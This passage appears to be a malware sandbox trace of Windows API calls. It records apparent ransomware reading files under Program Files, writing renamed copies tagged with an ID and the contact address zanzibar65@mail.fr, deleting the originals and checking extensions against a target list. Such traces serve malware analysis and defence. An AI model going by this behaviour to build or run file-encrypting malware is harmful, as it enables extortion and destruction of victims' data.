dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0055.147] GetLastError () returned 0x0 [0055.147] ReadFile (in: hFile=0x254, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0xffff0, lpOverlapped=0x0) returned 1 [0055.168] WriteFile (in: hFile=0x258, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0055.187] ReadFile (in: hFile=0x254, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x33210, lpOverlapped=0x0) returned 1 [0055.198] WriteFile (in: hFile=0x258, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x33220, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x33220, lpOverlapped=0x0) returned 1 [0055.391] ReadFile (in: hFile=0x254, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0055.391] WriteFile (in: hFile=0x258, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xe4, lpOverlapped=0x0) returned 1 [0055.391] SetEndOfFile (hFile=0x258) returned 1 [0056.439] CloseHandle (hObject=0x258) returned 1 [0056.439] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.439] SetEndOfFile (hFile=0x254) returned 1 [0056.441] CloseHandle (hObject=0x254) returned 1 [0056.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.442] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 1 [0056.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0056.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0056.442] lstrlenW (lpString=".doc") returned 4 [0056.442] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.442] lstrlenW (lpString=".docx") returned 5 [0056.442] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0056.442] lstrlenW (lpString=".pdf") returned 4 [0056.442] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.442] lstrlenW (lpString=".xls") returned 4 [0056.442] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.442] lstrlenW (lpString=".xlsx") returned 5 [0056.442] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0056.442] lstrlenW (lpString=".ppt") returned 4 [0056.442] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0056.442] lstrlenW (lpString=".zip") returned 4 [0056.442] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.442] lstrlenW (lpString=".rar") returned 4 [0056.442] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.442] lstrlenW (lpString=".bz2") returned 4 [0056.442] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.442] lstrlenW (lpString=".7z") returned 3 [0056.442] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0056.442] lstrlenW (lpString=".dbf") returned 4 [0056.442] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0056.443] lstrlenW (lpString=".1cd") returned 4 [0056.443] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0056.443] lstrlenW (lpString=".jpg") returned 4 [0056.443] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0056.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0056.443] lstrlenW (lpString=".doc") returned 4 [0056.443] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.443] lstrlenW (lpString=".docx") returned 5 [0056.443] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0056.443] lstrlenW (lpString=".pdf") returned 4 [0056.443] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.443] lstrlenW (lpString=".xls") returned 4 [0056.443] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.443] lstrlenW (lpString=".xlsx") returned 5 [0056.443] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0056.443] lstrlenW (lpString=".ppt") returned 4 [0056.443] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0056.443] lstrlenW (lpString=".zip") returned 4 [0056.443] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.443] lstrlenW (lpString=".rar") returned 4 [0056.443] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.443] lstrlenW (lpString=".bz2") returned 4 [0056.443] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.443] lstrlenW (lpString=".7z") returned 3 [0056.443] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0056.443] lstrlenW (lpString=".dbf") returned 4 [0056.444] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0056.444] lstrlenW (lpString=".1cd") returned 4 [0056.444] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0056.444] lstrlenW (lpString=".jpg") returned 4 [0056.444] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.444] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0056.444] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26 [0056.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0057.964] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2560) returned 1 [0057.964] CloseHandle (hObject=0x230) returned 1 [0057.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0057.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0057.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0057.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0057.965] lstrlenW (lpString=".doc") returned 4 [0057.965] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.965] lstrlenW (lpString=".docx") returned 5 [0057.965] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.965] lstrlenW (lpString=".pdf") returned 4 [0057.965] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.965] lstrlenW (lpString=".xls") returned 4 [0057.965] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.965] lstrlenW (lpString=".xlsx") returned 5 [0057.965] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.965] lstrlenW (lpString=".ppt") returned 4 [0057.965] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0057.965] lstrlenW (lpString=".zip") returned 4 [0057.965] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.965] lstrlenW (lpString=".rar") returned 4 [0057.965] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.965] lstrlenW (lpString=".bz2") returned 4 [0057.965] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.966] lstrlenW (lpString=".7z") returned 3 [0057.966] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0057.966] lstrlenW (lpString=".dbf") returned 4 [0057.966] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0057.966] lstrlenW (lpString=".1cd") returned 4 [0057.966] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0057.966] lstrlenW (lpString=".jpg") returned 4 [0057.966] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0057.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0057.966] lstrlenW (lpString=".doc") returned 4 [0057.966] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.966] lstrlenW (lpString=".docx") returned 5 [0057.966] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.966] lstrlenW (lpString=".pdf") returned 4 [0057.966] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.966] lstrlenW (lpString=".xls") returned 4 [0057.966] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.966] lstrlenW (lpString=".xlsx") returned 5 [0057.966] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.966] lstrlenW (lpString=".ppt") returned 4 [0057.966] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0057.966] lstrlenW (lpString=".zip") returned 4 [0057.966] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.966] lstrlenW (lpString=".rar") returned 4 [0057.966] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.966] lstrlenW (lpString=".bz2") returned 4 [0057.967] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.967] lstrlenW (lpString=".7z") returned 3 [0057.967] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0057.967] lstrlenW (lpString=".dbf") returned 4 [0057.967] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0057.967] lstrlenW (lpString=".1cd") returned 4 [0057.967] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0057.967] lstrlenW (lpString=".jpg") returned 4 [0057.967] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.967] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.967] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0058.265] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=3584) returned 1 [0058.265] CloseHandle (hObject=0x1c4) returned 1 [0058.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0058.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0058.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0058.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0058.276] lstrlenW (lpString=".doc") returned 4 [0058.276] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.276] lstrlenW (lpString=".docx") returned 5 [0058.276] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.276] lstrlenW (lpString=".pdf") returned 4 [0058.276] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.276] lstrlenW (lpString=".xls") returned 4 [0058.276] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.277] lstrlenW (lpString=".xlsx") returned 5 [0058.277] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.277] lstrlenW (lpString=".ppt") returned 4 [0058.277] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0058.277] lstrlenW (lpString=".zip") returned 4 [0058.277] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.277] lstrlenW (lpString=".rar") returned 4 [0058.277] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.277] lstrlenW (lpString=".bz2") returned 4 [0058.277] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.277] lstrlenW (lpString=".7z") returned 3 [0058.277] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0058.277] lstrlenW (lpString=".dbf") returned 4 [0058.277] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0058.277] lstrlenW (lpString=".1cd") returned 4 [0058.277] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0058.277] lstrlenW (lpString=".jpg") returned 4 [0058.277] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0058.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0058.277] lstrlenW (lpString=".doc") returned 4 [0058.277] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.277] lstrlenW (lpString=".docx") returned 5 [0058.277] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0058.277] lstrlenW (lpString=".pdf") returned 4 [0058.277] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.277] lstrlenW (lpString=".xls") returned 4 [0058.278] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.278] lstrlenW (lpString=".xlsx") returned 5 [0058.278] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0058.278] lstrlenW (lpString=".ppt") returned 4 [0058.278] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0058.278] lstrlenW (lpString=".zip") returned 4 [0058.278] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.278] lstrlenW (lpString=".rar") returned 4 [0058.278] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.278] lstrlenW (lpString=".bz2") returned 4 [0058.278] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.278] lstrlenW (lpString=".7z") returned 3 [0058.278] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0058.278] lstrlenW (lpString=".dbf") returned 4 [0058.278] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0058.278] lstrlenW (lpString=".1cd") returned 4 [0058.278] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0058.278] lstrlenW (lpString=".jpg") returned 4 [0058.278] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.278] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0058.278] lstrlenW (lpString="ACEWSTR.DLL") returned 11 [0058.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0058.279] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=862608) returned 1 [0058.279] CloseHandle (hObject=0x1c4) returned 1 [0058.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0058.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0058.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0058.280] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.280] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0058.280] GetLastError () returned 0x0 [0058.280] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0xd2990, lpOverlapped=0x0) returned 1 [0058.300] WriteFile (in: hFile=0x16c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xd29a0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xd29a0, lpOverlapped=0x0) returned 1 [0058.457] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.457] WriteFile (in: hFile=0x16c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.457] SetEndOfFile (hFile=0x16c) returned 1 [0058.457] CloseHandle (hObject=0x16c) returned 1 [0058.457] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.457] SetEndOfFile (hFile=0x1c4) returned 1 [0058.464] CloseHandle (hObject=0x1c4) returned 1 [0058.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.465] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 1 [0058.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.730] lstrlenW (lpString=".doc") returned 4 [0058.730] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.730] lstrlenW (lpString=".docx") returned 5 [0058.730] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0058.730] lstrlenW (lpString=".pdf") returned 4 [0058.730] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.730] lstrlenW (lpString=".xls") returned 4 [0058.730] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.730] lstrlenW (lpString=".xlsx") returned 5 [0058.730] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0058.730] lstrlenW (lpString=".ppt") returned 4 [0058.730] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.730] lstrlenW (lpString=".zip") returned 4 [0058.730] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.730] lstrlenW (lpString=".rar") returned 4 [0058.730] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.730] lstrlenW (lpString=".bz2") returned 4 [0058.730] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.730] lstrlenW (lpString=".7z") returned 3 [0058.730] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.730] lstrlenW (lpString=".dbf") returned 4 [0058.730] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.730] lstrlenW (lpString=".1cd") returned 4 [0058.731] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.731] lstrlenW (lpString=".jpg") returned 4 [0058.731] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.731] lstrlenW (lpString=".doc") returned 4 [0058.731] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.731] lstrlenW (lpString=".docx") returned 5 [0058.731] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0058.731] lstrlenW (lpString=".pdf") returned 4 [0058.731] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.731] lstrlenW (lpString=".xls") returned 4 [0058.731] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.731] lstrlenW (lpString=".xlsx") returned 5 [0058.731] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0058.731] lstrlenW (lpString=".ppt") returned 4 [0058.731] lstrcmpiW 